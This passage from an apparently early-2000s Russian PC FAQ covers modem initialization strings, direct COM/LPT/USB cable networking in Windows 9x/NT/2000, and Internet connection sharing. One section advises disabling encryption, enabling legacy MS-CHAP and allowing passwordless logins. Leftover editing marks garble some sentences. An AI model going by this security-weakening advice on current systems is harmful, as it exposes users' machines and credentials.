– этой "детской" болезни подвержены многие дешевые модемы, в том числе и ACORP. К счастью, такое заболевание не смертельно – во-первых, можно вручную разорвать связь, услышав в динамике гудки отбоя, а во-вторых, даже если этого и не сделать, соединение будет само разорвано по истечению времени, содержащегося в регистре S7 (в секундах). Однако не стоит увлекаться его чрезмерным уменьшением – даже если линия свободна, но за указанный интервал времени ваш модем не успеет "снюхаться" с удаленным модемом – соединение будет безжалостно разорвано. По мнению автора, оптимальное значение регистра S7 – 15-20 секунд.

Решения, специфичные для конкретных модемов

Модем не устанавливает связь:

– возможно, модем слишком быстро набирает номер, и АТС просто не успевает его "переваривать". Попробуйте уменьшить скорость набора. В модемах ZyXEL для этого необходимо скорректировать значение регистра S39. Значение "0" соответствует 10 пульсам в секунду, "1" – 16 и "2" – 20. Например "S39=1" задает скорость набора в 16 пульсов в секунду;

– модемы Courier V. Everything часто не могут "снюхаться" друг с другом из-за недостаточно продолжительного времени посылки тональных сигналов. Решение проблемы заключается в увеличении содержимого регистра S28, хранящего время посылки тональных сигналов в десятых долях секунды (по умолчанию 8). Например: "S28=20" задает интервал посылки в две секунды.

Модем часто бросает трубку:

- если качество линии не остается постоянным на протяжении всего сеанса связи (как это часто бывает с плохими телефонными линиями под которыми каждые N минут проезжает трамвай), то характеристики канала, измеренные в момент установки соединения, могут оказаться излишне оптимистичными, а скорость соединения – завышенной (равно, как и наоборот). Попробуйте задать скорость соединения вручную, уменьшая ее до тех пор, пока не будет достигнута требуемая стабильность связи. Необходимо отметить, что протокол V.34, используемый большинством модемов по умолчанию, предъявляет к качеству линии достаточно жесткие требования и порой имеет смысл перейти на протокол V.32bis, хоть и ограничивающий максимальную скорость в 14.400, но значительно лучше переносящий все тяготы телефонной жизни. Обратите внимание – ограничение скорости соединения в настройках Windows обладает тем недостатком, что не позволяет выбрать требуемый протокол и в большинстве случаев соединение устанавливается по V.324Bis, поэтому, разумно включить команду выбора скорости в строку инициализации модема:

ACORP: для принудительного задания скорости и протокола соединения в модемах "ACORP" служит команда "+MS=", краткая форма вызова которой выглядит так: "+MS=режим, автомод, скорость минимальная, скорость максимальная". Полный перечень режимов и соответствующих им скоростей содержится в прилагаемой к модему документации. Пример использования: "+MS 10,1,9600,14400" – заставляет модем соединяться по протоколу V.32bis на скорости от 9.600 до 14.400;

3Com US Robotics Courier V. Everything: модемы этой серии не позволяют принудительно задавать протокол соединения, поэтому для ограничения скорости можно воспользоваться настройками Windows;

ZyXEL OMNI: выбор протокола осуществляется командной "&Nn", где n – номер требуемого режима (список режимов приведен в прилагаемой к модему документации). Для протоколов V.34 и V.90 допускается принудительное задание любой требуемой скорости соединения, а для всех остальных предоставляется несколько фиксированных диапазонов на выбор. Например, "&N17" заставляет модем соединяться по протоколу V.32bis на максимально возможной из следующих скоростей: 14.400 / 12.000 / 9.600 / 7.200 / 4.800.

– модемы ZyXEL позволяют управлять своей реакцией на изменение качества линии. Этим "заведует" команда "*Qn", где n может принимать одно из следующих значений: "0" – никак не реагировать на изменение качества и продолжать обмениваться данными на той же скорости; "1" – заново согласовывать параметры соединения с удаленным модемом при ухудшении качества; "2+"(по умолчанию) – адаптивная настройка и "3" – прекращение соединения при ухудшении качества. Модемы Courier V. Everything не позволяют управлять своей реакцией на изменение качества связи и самостоятельно адаптируются под условия "окружающей среды", работая на максимально возможной скорости;

– причиной частых разрывов соединений зачастую оказывается неверно подобранный уровень выходного сигнала. Вообще-то, модемы могут (и должны) автоматически согласовывать "громкость" своего разговора при установке соединения, но, если затухание канала не остается постоянным, а меняется в течение сеанса связи, имеет смысл выставить уровень вручную, отыскав компромисс между наименьшим и наибольшим затуханием. Не стоит выставлять "громкость" передачи на максимум – это усилит искажения, особенно эхо, и модем, "охрипнув" от собственного крика, снизит скорость передачи. В модемах ZyXEL уровень выходного сигнала регулируется командой "*Pn", где "n" – условная громкость, принимающая значения от 0 до 15, причем большее значение соответствует большей громкости. Модемы Courier V. Everything и ACORP не позволяют регулировать уровень выходного сигнала;

– модемы ZyXEL позволяют настраивать и чувствительность приемника, что особенно полезно на каналах с сильным или непостоянным затуханием. Чувствительность регулируется регистром S52: значение "0" соответствует чувствительности приемника в – 43 дБм, "8" - –33 дБм и "16" - –26 дБм.

Примеры строк инициализации

Каждая строка инициализации должна начинаться с префикса "AT", за которым следует одна или несколько команд модема, разделенных для удобночитаемости знаком пробела или прижатых вплотную друг к другу. Например: "AT S52=0 *P2".

Часто за AT следует команда "&F", восстанавливающая все заводские настройки модема. Дело в том, что многие коммуникационные программы, в том числе и сама операционная система, конфигурируют модем по своему усмотрению и сохраняют настройки в его энергонезависимой памяти. Конечно, если результат такой настройки неудовлетворителен, имеет смысл вернуть заводские параметры по умолчанию, в противном же случае лучше оставить все как есть, тем более что команды строки инициализации перекрывают результаты работы всех ранее введенных команд и позволяют изменить любую настройку по своему вкусу.

Несколько следующих примеров строк инициализации демонстрируют способы эффективного использования модемов на некачественных каналах:

Пример №1 для всех модемов: "AT S6=10 S9=30 S10=80"

Пример №2 для модема ACORP: "AT S6=10 S9=30 S10=80 +MS=10,1,9600,14400"

Пример №3 для Courier V. Everything "AT S6=10 S9=30 S10=80 S28=20"

Пример №4 для "ZyXEL OMNI" "AT S6=10 S9=30 S10=80 S39=1 &N17*Q1"

Q: Почему при установке соединения Windows показывает скорость порта, а не скорость соединения?

Строго говоря, Windows вообще не умеет отображать текущую скорость соединения. В лучшем случае она показывает скорость, выбранную модемом на момент установки соединения, и не учитывает того, что адаптивная система модема может динамически как увеличивать, так и уменьшать ее при изменении качества линии. А, если модем управляется драйвером "стандартный модем", то и вовсе выводится не скорость соединения, а скорость порта, соединяющего модем с компьютером!

Если вам необходимо контролировать параметры соединения, лучше всего приобрести для этой цели модем со встроенным дисплеем, отображающим всю необходимую информацию (например, ZyXEL OMNI 56k Pro).

Операционная система Windows 2000 даже у некоторых знакомых ей модемов всегда отображает скорость порта, а не начальную скорость установки. Проблему решает следующий шаманский обряд – вызовите программу "Hyper Terminal" (входит в штатную поставку Windows) и наберите следующую команду: "AT&V1<ENTER>". Выйдите из "Hyper Terminal" – теперь до включения \ выключения модема все должно работать.

Q:Какое сжатие данных лучше – программное или аппаратное?

Однозначно ответить на этот вопрос невозможно – все зависит от алгоритмов сжатия и рода передаваемых данных. Так, уже упакованные файлы (zip, arj), повторно сжимать бесполезно и аппаратное, и программное сжатие будет одинаково неэффективны.

В общем случае программное сжатие в той или иной степени лучше аппаратного за счет возможности использования буфера большего размера и более быстрого процессора. Однако разработчики модемов не дремлют – наращивают объемы памяти и совершенствуют алгоритмы. Поэтому, выяснить какое сжатие лучше – программное или аппаратное можно только экспериментально.

Причем, использование обоих типов сжатия одновременно обычно дает худший результат, чем самое плохое из них по отдельности!

Q: как объединить компьютеры в сеть без сетевых карт?

Для объединения нескольких (см. "Сколько компьютеров можно связать прямым кабельным соединением?") компьютеров в сеть совсем не обязательно иметь сетевые карты. Можно вполне обойтись и прямым кабельным соединением, связав оба компьютера через COM- или LPT-порт. Это медленнее (см. "Какова максимальная скорость кабельного соединения?"), но зато и дешевле! Всего-навсего требуется докупить LPT  LPT или COM  COM кабель или спаять его самостоятельно (см. так же "Как установить прямое кабельное соединение через USB-порт?").

Внимание: в момент подключения кабеля оба компьютера должны быть отключены! Иначе порт с высокой степенью вероятности выйдет из строя. Настоятельно рекомендуется прикрутить кабель к шасси компьютера, в противном случае соединение будет нестабильным.

Кабельное соединение обеспечивает все необходимые коммуникационные возможности: позволяет обмениваться файлами, совместно использовать один принтер на двоих, выходить в Интернет через другой компьютер и т.д., словом, оно ничем не отличается от "настоящей" локальной сети.

При соединении компьютеров штатными средствами операционной системы они будут неравноправны – один из них, называемый ведомым, будет ожидать подключений и предоставлять доступ к своим ресурсам, а другой – ведущий, станет устанавливать соединение и пользоваться ресурсами ведомого компьютера, но не наоборот! Фактически ведомый компьютер играет роль сервера, а ведущий – клиента.

Windows 9x

Для установки утилиты прямого кабельного соединения выполните следующие действия: зайдите в "Панель управления", кликните по иконке "Установка и удаление программ", перейдите к закладке "Добавление и удаление компонентов Windows" и установите следующие компоненты: "Связь"  "Прямое кабельное соединение" и "Связь"  "Удаленный доступ к сети". Затем в той же "Панели управления" кликните по иконке "Сеть" и установите "Контролер удаленного доступа" (если он не был установлен ранее), нажав кнопку "Добавить"  "Сетевая плата"  "Microsoft"  "Контролер удаленного доступа". Вместе с контроллером Windows добавит "Семейный вход в систему" и протокол "TCP/IP". Для организации сети Microsoft можно добавить "Клиент"  "Microsoft"  "Клиент для сетей Microsoft". Ведомому компьютеру потребуется "Служба доступа к файлам и принтерам сетей Microsoft", содержащаяся в категории "Службы". На ведущий компьютер ее устанавливать не требуется. Затем, как и предлагает Windows, следует перезагрузиться.

Остается только "зашарить" ресурсы ведомого компьютера, т.е. сделать их доступными для совместного использования. "Зашаривать" можно и целые диски, и отдельные директории, и принтеры. О совместном использовании Интернет-соединений рассказано отдельно (см. "Как обеспечить совместный доступ к одному Интернет - соединению"), а для "зашаривания" файлов и директорий щелкните по выбранному ресурсу правой клавшей мыши, выберите в контекстном меню пункт "Свойства", перейдите к закладке "Доступ", где и переместите радио кнопку с положения "Локальный" в "Общий ресурс".

При необходимости ресурс можно защитить паролем – никогда не стоит этим пренебрегать! "Зашаренные" ресурсы доступны любому из абонентов Интернет и даже существуют даже специальные программы для поиска открытых компьютеров, активно использующиеся кибер -хулиганами для удаления чужих файлов или воровства Интернет-паролей.

Замечание: поскольку Windows не различает заглавных и строчечных символов, чем сильно облегчает взломщикам жизнь, следует выбирать пароль, по крайней мере, из семи символов, причем, он не должен быть регулярной последовательностью наподобие "1234567" или словарным словом.

Если все сделано правильно, то под иконкой "зашаренного" ресурса появится протянутая человеческая рука. В противном случае необходимо заново открыть "Панель управления"  "Сеть"  "Доступ к файлам и Принтерам" и проверить стоят ли галочки напротив пунктов "Файлы этого компьютера можно сделать общими" и "Принтеры этого компьютера можно сделать общими".

Все! Теперь остается только установить соединение, запустив программу "Пуск"  "Программы"  "Стандартные"  "Связь"  "Прямое кабельное соединение" на обоих компьютерах. При первом запуске ее необходимо настроить, нажав кнопку "Изменить" и выбрать, во-первых, какую роль будет исполнять каждый компьютер – ведущего или ведомого, – а, во-вторых, какой порт используется для соединения – COM1, COM2, LPT1 или LPT2.

С этого момента ведомый компьютер будет ожидать подключений ведущего. Подключения и отключения ведущего могут происходить многократно. Это не требует никаких дополнительных действий со стороны владельца ведомого компьютера, и никак не мешает его работе.

Вот, соединение установлено, но по-прежнему ничего не происходит и "Сетевое окружение" пусто. Да, это небольшое ограничение прямого кабельного соединения – поиск компьютера придется выполнять вручную. "Пуск"  "Найти"  "Компьютер"  "Найти". После непродолжительной паузы в нижележащем ниспадающем списке должен появится ведомый компьютер. Двойным кликом можно открыть окно, содержащее все его доступные ресурсы.

Замечание: если используется только протокол TCP/IP, а NetBEUI заблокирован, то ведущий компьютер не сможет найти ведомого и при установке соединения попросит указать его имя.

Более быстрый путь – подключение сетевого диска. Для этого следует кликнуть правой кнопкой мыши по иконке "Сетевое окружение", находящейся на "Рабочем Столе" и выбрать пункт "Подключить сетевой диск". Поле "путь" должно содержать сетевой путь к ресурсу, который выглядит так: "\\ИмяКомпьютера\ИмяРесурса". "Имя компьютера" – имя ведомого компьютера, задаваемое в одноименном поле вкладки "Идентификация" свойств "Сети", вызываемых через "Панель управления". "Имя ресурса" – соответственно имя "зашаренного" ресурса.

Взведение галочки "Автоматически подключать при входе в систему" приведет к автоматическому подключению сетевого диска при каждой загрузке Windows. Внимание! Подключение диска еще не обеспечивает установку соединения – запуск "Прямого кабельного соединения" должен быть выполнен вручную.

Рисунок 19 Рис. 0х005 – Подключение сетевого диска

Если ведомый компьютер используется в качестве сервера, имеет смысл добавить в папку "Автозагрузка" ярлык к программе "C:\Windows\DСС.exe" – подключение к серверу будет станет выполнятся автоматически при входе в Windows.

Некоторые продвинутые файловые менеджеры, например, FAR позволяют работать с удаленным компьютером без подключения диска. Достаточно лишь ввести в командной строке "CD \\ИмяКомьютера\ИмяРесурса" и содержимое ресурса появится в текущей панели.

Windows 2000

Гораздо проще установить прямое кабельное соединение в Windows 2000. Достаточно лишь нажать "Пуск"  "Настройка"  "Сеть и удаленный доступ к сети"  "Создание нового подключения"  "Прямое подключение к другому компьютеру через последовательный, параллельный или инфракрасный порт", выбрать роль компьютера – ведущий или ведомый, назначит порт, и нажать "Готово". На этом все! Один нюанс – чтобы назначить свой компьютер ведомым необходимо обладать правами администратора, иначе ничего не выйдет.

Ведомый компьютер автоматически приступает к ожиданию подключений сразу же после загрузки системы. Для установки соединения владелец ведущего компьютера должен нажать "Пуск"  "Настройка"  "Сеть и удаленный доступ к сети" и выбрать ранее созданное прямое кабельное соединение. Подключение сетевых дисков осуществляется точно так же, как и в Windows 9x.

Родственные вопросы:

Какова максимальная скорость кабельного соединения?

Как установить прямое кабельное соединение через USB-порт?

Как обеспечить совместный доступ к одному Интернет - соединению

Сколько компьютеров можно связать прямым кабельным соединением?

В Windows NT 4.0 нет прямого кабельного соединения. Или я не там его ищу? (следующий)

Q:В Windows NT 4.0 нет прямого кабельного соединения. Или я не там его ищу?

Последнее – совершенно справедливо. В Windows NT возможность прямого соединения, разумеется, есть! Щелкните в "Панели управления" по иконке "Модем" и нажмите "Добавить". Откажитесь от услуг мастера, установив галочку напротив пункта выбирать модем вручную из списка. В левой панели выберете "Стандартный модем", а в правой – прямое кабельное соединение по параллельному или последовательному порту.

Если компьютер с Windows NT 4.0 играет роль ведомого, кликнете "Сеть" в "Панели управления" для установки RAS, но не соглашайтесь на предложения автоматического поиска адаптера, а попросите позволить вам выбрать его самостоятельно. В списке адаптеров найдите "MS Loopback Adapter" – эмулятор сетевой карты. На запрос типа фрейма введите "802.3" и укажите требуемый порт. Запустите RAS, и компьютер с этого момента будет ожидать прямых кабельных подключений.

Если компьютер с Windows NT 4.0 играет роль ведущего, то просто установите нуль-модем, как было показано выше, и создайте соединение с его использованием. Это позволит подключиться Windows NT к другой NT, но не Windows 9x.

О том, как соединить Windows NT (равно, как и Windows 2000) с Windows 9x рассказывает одноименный совет.

Q: Соединение с ведомым компьютером устанавливается, но тут же разрывается. Почему?

Причина, скорее всего, в неправильных настройках портов. Для исправления ситуации зайдите в BIOS Setup, удерживая DEL во время загрузки компьютера (впрочем, в некоторых случаях процедура входа выглядит иначе – подробности в руководстве по материнской плате), найдите раздел конфигурации оборудования (он может называться, например, "PERIPHERAL SETUP" – "конфигурация периферии") и переключите на обоих компьютерах последовательный порт в режим ECP ("Extended Capabilities Port"), назначив свободное прерывание IRQ и канал DMA или значение "Auto" если BIOS поддерживает автоматическое определение.

Последовательные порты переведите в режим полного дуплекса, и проверьте правильность выбора IRQ (неверный IRQ может быть причиной неожиданных разрывов связи). Все дополнительные возможности (если они есть) рекомендуется выключить или установить идентичным образом на обоих компьютерах.

При создании прямого кабельного соединения Windows сама подготовляет к работе выбранный порт, но не всегда делает это правильно. На всякий случай убедитесь, что настройки портов одинаковы на всех компьютерах. Для этого вызовите "Диспетчер устройств", найдите в списке оборудования пункт "Порты COM и LPT" и дважды щелкните по выбранному порту. В открывшемся диалоге перейдите к закладке "Параметры порта".

Если значения всех параметров совпадают, то наиболее вероятная причина разрывов соединений – чрезмерная длина кабеля. Для последовательного соединения допустима длина до 30 метров, параллельного – как минимум вдвое короче, а желательно не более 6-7 метров, иначе соединение будет нестабильным. Не допускайте запутывания и образования "барашков" (петель) на кабеле – они приводят к сбоям и увеличивают затухание сигнала.

Q:Как соединить Windows 9x с Windows 2000?

Если на одном из компьютеров установлена Windows 2000, а на другом – Windows 9x, то соединить их может оказаться совсем не просто – при попытке установки соединения будет выдаваться сообщение о неправильном пароле и все тут! Причина в том, что Windows 9x использует уязвимые протоколы аутентификации, по умолчанию запрещенные в Windows 2000.

Если ведущий компьютер работает под управлением Windows 2000, а ведомый – Windows 9x, для их "примирения" выполните следующие действия: щелкнув правой мышкой по иконе прямого кабельного соединения, выберете "Свойства" и перейдете к вкладке "Безопасность". Переместите радио кнопку "Параметры безопасности" в положение "Дополнительные (особые параметры)" и нажмите "Настройка". Теперь в "Шифровании данных" выберите "необязательное (подключаться без шифрования)"; в "Безопасном входе" снимите все галочки кроме "Протокол проверки пароля Microsoft (MS-CHAP)" и "Разрешать старый протокол MS-CHAP для Windows 95". Все! Нажмите "ОК" и повторите попытку соединения. На предупреждения Windows 2000 о небезопасности подключений без шифрования не обращайте внимания – перехватить пароль, передаваемый по LPT- или COM- кабелю, не имея к нему физического доступа невозможно!

Рисунок 20 Рис 0х008 Разрешение протокола аутентификации, используемого Windows 9x

Если ведущий компьютер работает под управлением Windows 9х, а ведомый – Windows 2000, то, кликнув правой клавишей по иконке "Входящие подключения", в открывшемся контекстном меню выберете пункт "Свойства" и перейдите к закладке "Пользователи". Теперь необходимо поставить галочки напротив всех пользователей, которым разрешен удаленный вход в систему, – разумеется, из тех пользователей, которые зарегистрированы на ведущем компьютере (если на ведущем компьютере не зарегистрировано ни одного пользователя – его надо создать, кликнув по иконке "Пользователи" в "Панели управления").

Галочка "Все пользователи должны держать в секрете свои пароли и данные" должна быть сброшена, а "Всегда разрешать подключение без пароля устройствам с прямым соединениям, таким как карманные компьютеры (palmtop PC)" – установлена, независимо от того с какого компьютера осуществляется заход – с карманного или настольного.

Рисунок 21 0х009 Создание списка зарегистрированных пользователей

subQ:Все равно не работает! Разрывает связь через минуту!

Да, Windows 2000 при установке прямого кабельного соединения с Windows 9x разрывает связь через минуту неактивности. Для устранения этой беды проще всего создать bat-файл следующего содержания:

:Start

ping %1

goto start

И запустить его сразу после установки соединения, передав имя соседнего компьютера. Утилита "ping", вызываемая в бесконечном цикле, будет посылать поток эхо - запросов, обеспечивая необходимую активность. Это несколько снизит скорость обмена данными, за счет постоянного "пинга", но более доступного и универсального решения проблемы, по-видимому, не существует.

subQ:У меня нет свободных портов. Как мне быть?

Подавляющее большинство материнских плат имеет только один LPT- и два COM- порта. Естественно: LPT занят принтером, на одном COM-у "вист" мышь, на другом – модем. Для удаленного соединения портов уже не хватает. Как быть?

Проще всего купить в компьютерном магазине мультикарту – многофункциональный контроллер гибких и жестких дисков, последовательных и параллельных портов. Когда-то мультикарты использовались в каждом компьютере, но сейчас эти функции взяла на себя материнская плата, и мультикатры сняли с выпуска. Сейчас они не пользуется спросом, и продаются за смешную, под час чисто символическую цену.

Поэтому, имеет смысл купить такую ради одного лишь LPT-порта. Только проследите, чтобы на самой карте (или в документации, прилагаемой к ней) обязательно присутствовала разводка – какой переключатель за что отвечает. Т.к. перед установкой в компьютер на карте придется отключить все, кроме LPT-порта и обязательно изменить адрес последнего так, чтобы он не совпадал с адресом LPT-порта, встроенного в материнскую плату (адреса портов обычно высвечиваются при загрузке компьютера).

После установки мультикарты в большинстве случаев потребуется запустить "Мастер оборудования" для поиска новых портов. Поскольку, мультяшный LPT работает в обычном, а не расширенном режиме, для прямого кабельного соединения он малопригоден. Но можно воткнуть в него принтер, до этого "сидящий" на интегрированном LPT, а сам интегрированный LPT использовать для соединения с другим компьютером.

Существует и альтернативный вариант: купить мультиплексор и попеременно переключать один порт между двумя устройствами. А если несколько мультиплексоров объединить в одну цепочку, можно повесить на каждый порт неограниченное количество устройств! Единственная проблема – они, разумеется, не смогут работать одновременно.

Q: Какова максимальная скорость кабельного соединения?

Этот вопрос, как никакой другой, встречает наибольшее непонимание, вызывая непрекращающиеся споры, подогреваемые гипотетическими заключениями, большей частью неверными.

Теоретическая пропускная способность LPT-порта в ECP режиме составляет 2.5 мегабит в секунду (и эта цифра часто приводится в инструкциях на материнские платы), а COM – 125 (250) килобит. Но практическая скорость передачи данных существенно меньше. Насколько именно она меньше заранее сказать невозможно. Это зависит от скорости процессора, объема оперативной памяти, типа кабеля, выбранного транспортного протокола, степени сжимаемости передаваемых данных и т.д.

Кабельное соединение очень сильно загружает процессор ведомого компьютера, и мощности младших моделей Pentium может попросту не хватить. Для быстрой работы требуется по меньшей мере Pentium-II или Celeron с таковой частотой 300 – 500 мегагерц. Владельцы старших моделей Pentium могут увеличить скорость соединения, установив в свойствах протокола TCP/IP галочки "Использовать программное сжатие данных" и "Использовать сжатие заголовков IP"., а так же отключив все остальные протоколы: NetBEUI, IPX/SPX. Заметьте, что На "тормозных" же процессорах, установка программного сжатия уменьшает скорость! – поскольку процессор не успевает одновременно сжимать данные параллельно одновременно с их передачей.

С учетом вышесказанного прямое кабельное соединение через стандартный последовательный порт обеспечит скорость порядка двадцати – двадцати пяти килобит в секунду, а если контроллеры COM-портов обеих машин выполнены на базе микросхемы 16550A (или совместимой с ней), скорость передачи возрастет до ста и более килобит в секунду. Однако в Windows 9x скорость последовательного порта по умолчанию составляет всего лишь 19.200 бит в секунду, а в Windows 2000 и того меньше – 9.600! Чтобы ее увеличить вызовите диалог свойств последовательного порта "Панель управления"  "Система"  "Оборудование"  "Диспетчер устройств"  "Порты LPT и COM" и в поле "Скорость" установите максимальное значение.

Прямое соединение через параллельный ECP-порт посредством кабеля типа "LapLink" обеспечивает скорость передачи данных до 0.5 мегабит в секунду, а приема вдвое меньше – в пределах 0.3 – 0.35 мегабит в секунду.

Продвинутые кабели типа "DirectParallel® Universal Fast Cable" со встроенными чипами задействуют оба фронта волны, за счет чего ухитряются передавать до 6 мегабит каждую секунду, и принимать за это же время от 3 мегабит и выше! То есть, они в два с лишним раза превосходят теоретическую скорость, практически сравниваясь в производительности с 10 мегабитными сетевыми картами!

Рисунок 22 Рис 0x00A Внешний вид кабеля DirectParallel® Universal Fast Cable

Q: Как обеспечить совместный доступ к одному Интернет - соединению?

После объединения компьютеров в локальную сеть многие сталкиваются с проблемой: как разделить один Интернет – канал на двоих. Покупать каждому компьютеру модем – слишком накладно, а постоянно перетыкать его между ними – утомительно. К тому же телефонная линия-то в большинстве случаев одна!

Windows 98 SE

Вторая редакция Windows 98 выгодно отличается от своей предшественницы умением совместно использовать сетевые соединения. Правда, по умолчанию эта возможность выключена, и многие о ней даже не подозревают! Чтобы ее задействовать установите компонент ICSInternet Connection Sharing в "Установке Windows"  "Средства Интернет"  "Internet Connection Sharing". Если такого пункта здесь нет – вам подсунули майскую версию Windows 98 под видом "Second Edition"!

Рисунок 23 Рис 0х00B Установка компонента ICS в Windows SE

После завершения установки Internet Connection Shared автоматически запускается Мастер, подготавливающий его к работе и создающий клиент-диск. Никаких трудностей на этом этапе возникнуть не должно. Если Мастер задаст вопрос об используемом адаптере, укажите "Контроллер удаленного доступа".

Затем, после перезагрузки, в свойствах "Internet Explorer" выберете закладку "Соединения" и напротив тех соединений, которые хотите использовать совместно, установите галочку "Разрешить совместный доступ".

Теперь необходимо подготовить к работе клиента. Вставьте в компьютер, не имеющий прямого Интернет-соединия, только что созданный диск и запустите оттуда файл "ICSCLSET.EXE". (Он там один, за исключением, Readme). Вновь запустится Мастер, который настроит клиента.

Windows 2000

Гораздо проще "зашарить" Интернет - соединение в Windows 2000. Достаточно в свойствах удаленного соединения ("Пуск" "Настройка"  "Сеть и удаленный доступ к сети"  "Соединение с моим провайдером", вызов контекстного меню нажатием правой клавиши мыши  "Свойства") установить галочку "Разрешить другим пользователям устанавливать частное подключение к моему компьютеру с помощью туннеля в Интернете или другой сети".

Рисунок 24 0x00D Зашаривание Интернет-соединения в Windows 2000

Родственные вопросы:

Как установить прямое кабельное соединение через USB-порт? (следующий)

Q:Как установить прямое кабельное соединение через USB-порт?

Перенести пару сотен мегабайт с настольного компьютера на Notebook – задача непростая, а если под рукой нет ни сети, ни пишущего CD-ROM, ни ZIP-драйва, ни даже захудалого стримера, – практически невыполнимая! Правда, самые смелые, не долго думая, развинчивают Notebook, вытаскивают винчестер и напрямую подключают его к настольному компьютеру. Как говорится – дешево и сердито, но рано или поздно такая операция заканчивается плачевно – или жесткий диск стукнут, припечатав головки к поверхности, или выведут его из строя неправильным подключением, или коснутся чувствительной микросхемы, забыв о статическом электричестве… наэлектризованной лапой… К тому же компьютеры могут быть на гарантии или просто владелец строго-настрого запретит их разбирать.

Впрочем, существует такая штука как Direct Cable Connections – прямое кабельное соединение по параллельному или последовательному порту. Шнурок Direct Parallel ® {НЕПРАВИЛЬНОЕ НАЧЕРТАНИЕ R} Universal Fast Cable от Parallel Technology () развивает скорость до 3-6 мегабит в секунду (только не для впрочем, это не относится к кабельному соединению через Norton Commander – этот товарищ работает с портами через BIOS в стандартном режиме, и работает, надобно сказать, до жути тормозно), что вполне приемлемо для передачи больших объемов информации. Только, вот беда, – некоторые, между прочим, достаточно многие, современные Notebook-и из всех портов имеют один лишь порт USB. Эдакий образец слепого следования моде вопреки разуму – чем же так плох LPT и за что ему такая немилость?

А почему бы ни установить прямое кабельное соединение по USB-порту? Хорошо бы! Но как? Просто воткнуть кабель в оба компьютера не получится: тот USB, что засобачен в материнскую плату ("USB A"), неравноценен тому, что встроено в подключаемое устройство ("USB B"). Грубо – это как папа и мама, или, если угодно, – как клиент и сервер. Для соединения "папы" с "папой" необходим двухсторонний контроллер порта – мостовой адаптер, берущий на себя обязанности по заведующий идентификацииидентификацией устройства (каждое устройство, подключаемое по USB, должно сообщать компьютеру определенную информацию о себе) и содержащий некоторое количество оперативной памяти для буферизации передаваемых данных.

Подобные адаптеры кабельного соединения через USB-порт предлагаются многими несколькими фирмами и стоят от тридцати до семидесяти долларов. На удивление высокая цена для пары разъемов, куска провода и одной микросхемы. Не иначе как отсутствие конкуренции дает о себе знать!

На мой взгляд, самые совершенные (и самые дорогие!) адаптеры выпускает фирма Parallel Technology, известная в России своими интерфейсными кабелями (см. "Какова максимальная скорость кабельного соединения?"). Весь программно–аппаратный комплекс для связи по USB распространяется по цене семьдесят баксов за штуку и состоит из трехметрового шнурка, гордо именуемого "Net-LinQ USB Connection Cable", и драйвера USB-Bridge адаптера, выдающего себя за сетевую карту, что обеспечивает полноценное сетевое соединение по любому протоколу на выбор: NetBEUI, TCP/IP, IPX/SPX и т.д. >>>>> Сноска 1 {Убрать см. сноску 1) (см. /Products/NetLinqCable/netlinqcable.htm)

К слову сказать, OEM-версию "Net-LinQ USB Connection Cable" в отечественном магазине мне удалось приобрести всего за полста баксов, но без драйверов и следов присутствия документации. Ну, документацию заменил метод "тыка", а драйвера удалось скачать с сайта самой Parallel Technology – до недавнего времени к счастью они распространяются бесплатнораспространялись бесплатно, однако теперь политика фирмы изменились и бесплатно раздаются лишь обновления, а за драйвера приходится платить..

Скорость передачи (от ведущего компьютера – к ведомому) составляет 4 мегабита в секунду, а приема (от ведомого компьютера к ведущему) – целых 8 мегабит в секунду, что лишь чуть-чуть уступает десяти мегабитному Ethernet – красота!

Штатной длины кабеля – три метра – вполне достаточно для большинства случаев, но при необходимости она может быть увеличена до пятидесяти и более метров. К сожалению, таких шнурков в отечественных магазинах мне до сих пор не попадалось и, видимо, единственный путь их приобретения – заказ в самой Parallel Technology. Впрочем, нехитрым движением паяльника удлинить кабель можно и самостоятельно – во сто крат быстрее и за гораздо меньшую цену. Вопреки всем предупреждениям фирмы о возможном несогласовании сопротивления, затухании сигнала и т.д. и т.п. все работает благополучно, хотя скорость действительно упала процентов на 20%.

Рисунок 25 Рисунок . USB1.bmp USB2.bmp Net-LinQ USB Connection Cable. "Мыльница" посередине и есть USB Bridge адаптер. Картинка взята с сайта

Адаптер "Smart Link" неизвестного мне производителя стоит в районе пятидесяти долларов, но не обеспечивает полноценного сетевого соединения, а позволяет лишь копировать файлы собственным менеджером {убрать "?"} до боли напоминающим "кастрированный" Windows Commander. Ни тебе совместного доступа к принтеру, ни возможности выхода в Интернет или локальную сеть через настольный компьютер, да и удобство работы с самим Link - менеджером оставляет желать лучшего.

Рисунок 26 Рисунок 0хE. Smart Link model DUT-2301 Картинка взята с сайта

Итак, будем считать, что кабели и прилагаемая к ним дискета приобретены и лежат перед вами. Прежде чем их подключить необходимо на обоих компьютерах установить: клиента для сетей Microsoft ("Панель управления"  "Сеть"  "Добавить"  "Клиент"  "Microsoft"  "Клиент для сетей Microsoft"), контроллер удаленного доступа ("Панель управления"  "Сеть"  "Добавить"  "Сетевая плата", "Microsoft", "Контролер удаленного доступа"), протоколы TCP/IP (автоматически добавляется после установки контроллера удаленного доступа) и NetBEUI ("Панель управления"  "Сеть"  "Добавить"  "Протокол"  "NetBEUI"). Впрочем, как будет показано ниже, протокол NetBEUI совсем необязателен.

Теперь определитесь: какой из компьютеров будет играть роль ведомого, а какой – ведущего. В-принципе, компьютеры, соеденные по TCP/IP, полностью равноправны и могут свободно передавать пакеты в обе стороны. На любом из них (а то и на оба сразу) можно установить любое серверное приложение (например, Personal Web Server), и работать с ним с другой стороны. Разница заключается лишь в том, что ведомый компьютер ожидает подключения, а ведущий устанавливает его, но не наоборот! Самостоятельно подключиться к ведущему компьютеру ведомый не может! Так же, ведомому компьютеру потребуется "Служба доступа к файлам и принтерам сетей Microsoft", содержащаяся в категории "Службы". На ведущий компьютер ее устанавливать не надотребуется.

После того как необходимые компоненты установлены и роли между компьютерами распределены следует, как и предлагает Windows, перезагрузиться и запустить программу "setup.exe" с диска, прилагаемого к "Net-LinQ USB Connection Cable"-кабелю. Спустя секунду-другую под натужный скрежет головок на экране возникнет окно Мастера, требующего указать путь для копирования файлов, имя данного компьютера (хм, странно, - не уж-то так трудно определить его автоматически?), название рабочей группы (если она есть), и, наконец, подтверждения на установку сетевого USB-Bridge адаптера и USB-USB Bridge протокола. Ответив на все вопросы положительно (да ставь уж, чего ж тебя запускали?), по завершении установки еще один раз перезагрузитесь.

